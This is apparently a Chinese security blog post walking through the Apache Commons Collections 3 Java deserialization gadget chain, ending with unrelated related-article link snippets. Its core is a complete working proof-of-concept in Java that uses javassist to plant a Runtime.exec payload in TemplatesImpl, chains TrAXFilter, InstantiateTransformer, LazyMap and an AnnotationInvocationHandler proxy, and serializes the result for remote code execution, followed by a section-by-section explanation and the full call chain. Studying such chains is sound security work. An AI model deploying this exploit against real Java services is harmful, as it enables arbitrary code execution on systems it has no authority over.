CommonsCollection3

1、前置知识

CommonsCollection3其实就是cc1和cc2的组合,不用再学那么多知识了,再学习另两个生面孔类

1.1、InstantiateTransformer

构造方法传入了paramTypes(参数类型)和args(具体参数值)

transform方法,首先判断了input是不是Class类实例对象,不是的话就获取结构体创建新的实例对象

public InstantiateTransformer(Class[] paramTypes, Object[] args) {
this.iParamTypes = paramTypes;
this.iArgs = args;
} public Object transform(Object input) {
try {
if (!(input instanceof Class)) {
throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName()));
} else {
Constructor con = ((Class)input).getConstructor(this.iParamTypes);
return con.newInstance(this.iArgs);
}
} catch (NoSuchMethodException var6) {
throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
} catch (InstantiationException var7) {
throw new FunctorException("InstantiateTransformer: InstantiationException", var7);
} catch (IllegalAccessException var8) {
throw new FunctorException("InstantiateTransformer: Constructor must be public", var8);
} catch (InvocationTargetException var9) {
throw new FunctorException("InstantiateTransformer: Constructor threw an exception", var9);
}
}

1.2、TrAXFilter

我们来查看其构造方法,newTransformer方法,这不就是cc2的利用链开头,他会把传入的templates去调用newTransformer方法,然后会调用getTransletInstance,然后再调用defineTransletClasses把我们_class赋值为_bytecodes转换为的类,然后_class再newInstance()实例化,而cc1链是通过InvokerTransformer的transform循环反射获取Runtime.class去RCE.

public TrAXFilter(Templates templates)  throws TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}

2、漏洞复现

2.1、poc

package com.akkacloud;

import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.NotFoundException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap; import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map; public class CommonsCollection3 {
public static void main(String[] args) throws Exception {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; ClassPool classPool=ClassPool.getDefault();//获取一个默认的类池
classPool.appendClassPath(AbstractTranslet);//把AbstractTranslet加入到搜索路径
CtClass payload=classPool.makeClass("CommonsCollections3Test");//创建一个名叫CommonsCollections3Test的临时类
payload.setSuperclass(classPool.get(AbstractTranslet));//设置CommonsCollections3Test类的父类为AbstractTranslet,因为TemplatesImpl的defineTransletClasses中会比较父类是否为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");");//设置CommonsCollections3Test的静态代码块,实例化的时候就会执行 byte[] bytes=payload.toBytecode();//把我们的payload(恶意类)转成字节数组类型 Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//创建templatesImpl类实例对象
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//获取templatesImpl的属性_bytecodes
field.setAccessible(true);//暴力反射
field.set(templatesImpl,new byte[][]{bytes});//设置templatesImpl的属性_bytecodes为我们的恶意字节数组 Field field1=templatesImpl.getClass().getDeclaredField("_name");//获取templatesImpl的属性_bytecodes
field1.setAccessible(true);//暴力反射
field1.set(templatesImpl,"test");//设置templatesImpl的属性_name值为test Transformer[] transformers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),//获取TrAXFilter
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})//通过InstantiateTransformer的构造方法传入我们的恶意类templatesImpl,构造方法会调用templatesImpl.newTransformer实例化我们的恶意类,造成RCE }; ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);//新建一个ChainedTransformer类,传入我们的恶意transformers,只要调用transform方法就会反射执行我们的传入的恶意传入我们的恶意transformers
Map map=new HashMap();//新建一个hashmap
Map lazyMap= LazyMap.decorate(map,chainedTransformer);//这里传入我们的恶意ChainedTransformer,赋值给lazyMap,只要lazyMap的get方法被调用就会调用我们的chainedTransformer的transform方法 Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//反射获取AnnotationInvocationHandler类
Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class);//获取AnnotationInvocationHandler的构造函数
constructor.setAccessible(true); InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Override.class,lazyMap);//传入我们的恶意lazyMap,然后实例化并赋值给invocationHandler,因为AnnotationInvocationHandler实现了InvocationHandler接口 Map map1=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler);//创建动态代理,传入invocationHandler Object object=constructor.newInstance(Override.class,map1);//然后实例化我们的动态代理,就会调用invocationHandler的invoke方法 ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.ser"));
outputStream.writeObject(object);
outputStream.close(); ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.ser"));
inputStream.readObject();
}
}

2.2、poc分析

2.2.1、第一段

其实就是cc2链中javassit的利用,创建一个有静态代码块(恶意代码)的CommonsCollections3Test,和设置其父类为AbstractTranslet,最后转换为字节数组,不懂的话可以详细看看cc2的前置知识的javasstis部分

String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; ClassPool classPool=ClassPool.getDefault();//获取一个默认的类池
classPool.appendClassPath(AbstractTranslet);//把AbstractTranslet加入到搜索路径
CtClass payload=classPool.makeClass("CommonsCollections3Test");//创建一个名叫CommonsCollections3Test的临时类
payload.setSuperclass(classPool.get(AbstractTranslet));//设置CommonsCollections3Test类的父类为AbstractTranslet,因为TemplatesImpl的defineTransletClasses中会比较父类是否为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");");//设置CommonsCollections3Test的静态代码块,实例化的时候就会执行 byte[] bytes=payload.toBytecode();//把我们的payload(恶意类)转成字节数组类型

2.2.2、第二段

也是cc2链对TemplatesImpl的利用,就是创建一个恶意加载类TemplatesImpl,并且通过反射把_bytecodes赋值为我们的恶意字节数组,并且把其_name的设置为test,因为_name在TemplatesImpl类的getTransletInstance()方法,会判断他是否为null,为null就会返回null

Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//创建templatesImpl类实例对象
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//获取templatesImpl的属性_bytecodes
field.setAccessible(true);//暴力反射
field.set(templatesImpl,new byte[][]{bytes});//设置templatesImpl的属性_bytecodes为我们的恶意字节数组 Field field1=templatesImpl.getClass().getDeclaredField("_name");//获取templatesImpl的属性_bytecodes
field1.setAccessible(true);//暴力反射
field1.set(templatesImpl,"test");//设置templatesImpl的属性_name值为test

2.2.3、第三段

这个是目前跟cc1和cc2链有比较大不同的地方,使用InstantiateTransformer类和TrAXFilter类,通过前置知识我们知道TrAXFilter的构造方法会调用newTransformer方法,把我们传入的恶意TemplatesImpl实例化,具体的可以看前置知识或者cc2链TemplatesImpl学习。通过调用ChainedTransformer的transform方法,第一遍获取TrAXFilter类,第二遍通过InstantiateTransformer的构造方法传入我们的恶意类templatesImpl,调用其transform方法,实例化传入的上一遍传入的TrAXFilter,调用其构造方法,再调用newTransform,造成RCE。接下来我们需要看其怎么获取transform方法了?

Transformer[] transformers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),//获取TrAXFilter,构造方法会调用templatesImpl.newTransformer实例化我们的恶意类,造成RCE
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})//通过InstantiateTransformer的构造方法传入我们的恶意类templatesImpl };
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);//新建一个ChainedTransformer类,传入我们的恶意transformers,只要调用transform方法就会反射执行我们的传入的恶意传入我们的恶意transformers

2.2.4、第四段

这里就是cc1链的利用,主要是通过LazyMap的decorate方法赋值我们的恶意chainedTransformer,因为LazyMap的get方法会调用transform方法。

Map map=new HashMap();//新建一个hashmap
Map lazyMap= LazyMap.decorate(map,chainedTransformer);//这里传入我们的恶意ChainedTransformer,赋值给lazyMap,只要lazyMap的get方法被调用就会调用我们的chainedTransformer的transform方法

2.2.5、第五段

这里也是cc1链的对应的利用,主要是反射获取AnnotationInvocationHandler类,实例化时传入我们的恶意lazyMap,然后通过动态代理传入我们的包含了lazyMap的恶意InvocationHandler,然后实例化其实就是调用其构造方法,但是无论调用什么方法都会执行动态代理的invoke方法,invoke方法中调用了get方法。然后就是cc1的AnnotationInvocationHandler的readObject---》entrySet---》invoke.

最后为什么是override.class,

因为AnnotationInvocationHandler本来就是一个处理注解的类,构造方法的第⼀个参数是⼀个Annotation类类型参数

Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//反射获取AnnotationInvocationHandler类
Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class);//获取AnnotationInvocationHandler的构造函数
constructor.setAccessible(true); InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Override.class,lazyMap);//传入我们的恶意lazyMap,然后实例化并赋值给invocationHandler,因为AnnotationInvocationHandler实现了InvocationHandler接口 Map map1=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler);//创建动态代理,传入invocationHandler Object object=constructor.newInstance(Override.class,map1);//然后实例化我们的动态代理

2.3、利用链调试

在AnnotationInvocationHandler的构造方法打下断点,发现成功的把this.memberValues设置成LazyMap

在readObject打下断点,当this.memberValues调用entrySet()时,因为lazymap是我们的代理对象,所以他执行任何方法都会执行AnnotationInvocationHandler的invoke方法

invoke方法会调用get方法。此时的this.memberValues为Lazymap,继续跟进

(问题:第一遍到invoke的this.memberValues为LinkedHashMap,然后就已经弹窗了,第二次才是lazymap,最后到defineTransletClasses,_class已经为我们用javassit创建的恶意数组类)

this.factory就是我们的chianedTransformer,继续跟进

进入后这个iTransformers[]就是传入我们恶意构造的TrAXFilter和instantiateTransformer

继续跟进transform方法,第一遍获取TrAXFilter.class

继续跟进transform方法,把TrAXFilter通过newInstance实例化

我们进入他的构造函数,templates使我们构造的恶意数组类,继续跟进

进入到newTransformer后,会调用getTransletInstance(),其实这个方法就是用来实例化传入的transformer的,继续跟进

进到getTransletInstance,发现他会调用defineTransletClasses,继续跟进

进入后就是对_class进行处理,前置知识有相关知识,处理完后回到getTransletInstance,把_class实例化,就是我们的恶意类。

2.4、利用链

AnnotationInvocationHandler.readobject
(proxy)lazyMap.entrySet
AnnotationInvocationHandler.invoke->lazyMap.get
ChainedTransformer.transform
ConstantTransformer.transform
InstantiateTransformer.transform
TrAXFilter(构造方法)
TemplatesImpl.newTransformer
TemplatesImpl.getTransletInstance
TemplatesImpl.defineTransletClasses
Runtime.exec()

参考链接

https://www.cnblogs.com/nice0e3/p/13854098.html

CommonsCollection3的更多相关文章

  1. SSH中的jar包讲解(1)

    我们在搭建SSH框架的时候,需要引入各自的一些jar包,相信很多初学者跟我一样,搜个资料,照搬过来(当然版本还得对应),至于为什么要引入这些个jar包,引入它们的作用是啥子,一头雾水,今天我就来跟这些 ...

  2. java判断集合是否相等

    1,使用commons-collection-3.2.1.jar包中的CollectionUtils.isEqualCollection()方法 2,还有其他集合操作:disjunction(a,b集 ...

  3. SSH中的jar包讲解

    我们在搭建SSH框架的时候,需要引入各自的一些jar包 首先,先来看一下我们使用的SSH的各自版本及引入的jar包.   struts2.3.1.2: struts2-core-2.3.1.jar j ...

  4. quartz 集成到Spring中

    记录一下,防止忘记. 需要的jar包,quartz-2.2.3.jar,commons-collection-3.1.jar,spring-context-support-4.3.4.RELEASE. ...

随机推荐

  1. 7.Flink实时项目之独立访客开发

    1.架构说明 在上6节当中,我们已经完成了从ods层到dwd层的转换,包括日志数据和业务数据,下面我们开始做dwm层的任务. DWM 层主要服务 DWS,因为部分需求直接从 DWD 层到DWS 层中间 ...

  2. Python 中的深浅拷贝

    Python 中的深浅拷贝 参考文献:https://blog.csdn.net/lnotime/article/details/81194633 参考文献:https://blog.csdn.net ...

  3. FaE:基于符号知识的适应性和可解释的神经记忆

    原创作者 | 朱林 论文解读: Facts as Experts: Adaptable and Interpretable Neural Memory over Symbolic Knowledge ...

  4. 扩展我们的分析处理服务(Smartly.io):使用 Citus 对 PostgreSQL 数据库进行分片

    原文:Scaling Our Analytical Processing Service: Sharding a PostgreSQL Database with Citus 在线广告商正在根据绩效数 ...

  5. 怎么在linux上安装部署jenkins

    怎么在linux上安装部署jenkins 作为一个非科班出身自学的小白,踩过很多的坑,特此留下记录 以下在虚拟机上示例 系统:linux(centos7) 操作方式:xshell连接终端操作 教程之前 ...

  6. Fiddler抓取https协议的证书导入过程

    fildder抓取https的设置以及证书导出 打开fiddler界面,选择左上角菜单栏Tools-Options 出现Options界面后,选择HTTPS选项卡 勾选上Capture HTTPS C ...

  7. yum 安装的历史与撤销(yum history undo )

    我们可以使用yum history 来查看yum的历史记录 想撤销安装则输入 yum history undo <ID号> 即可撤销yum的安装/升级

  8. 【译】.NET 6 网络改进

    原文 | Máňa Píchová 翻译 | 郑子铭 对于 .NET 的每个新版本,我们都希望发布一篇博客文章,重点介绍网络的一些变化和改进.在这篇文章中,我很高兴谈论 .NET 6 中的变化. 这篇 ...

  9. 9.Flink实时项目之订单宽表

    1.需求分析 订单是统计分析的重要的对象,围绕订单有很多的维度统计需求,比如用户.地区.商品.品类.品牌等等.为了之后统计计算更加方便,减少大表之间的关联,所以在实时计算过程中将围绕订单的相关数据整合 ...

  10. CVE-2018-12613phpMyAdmin 后台文件包含漏洞分析

    一.    漏洞背景 phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库.借由此Web接口可以成 ...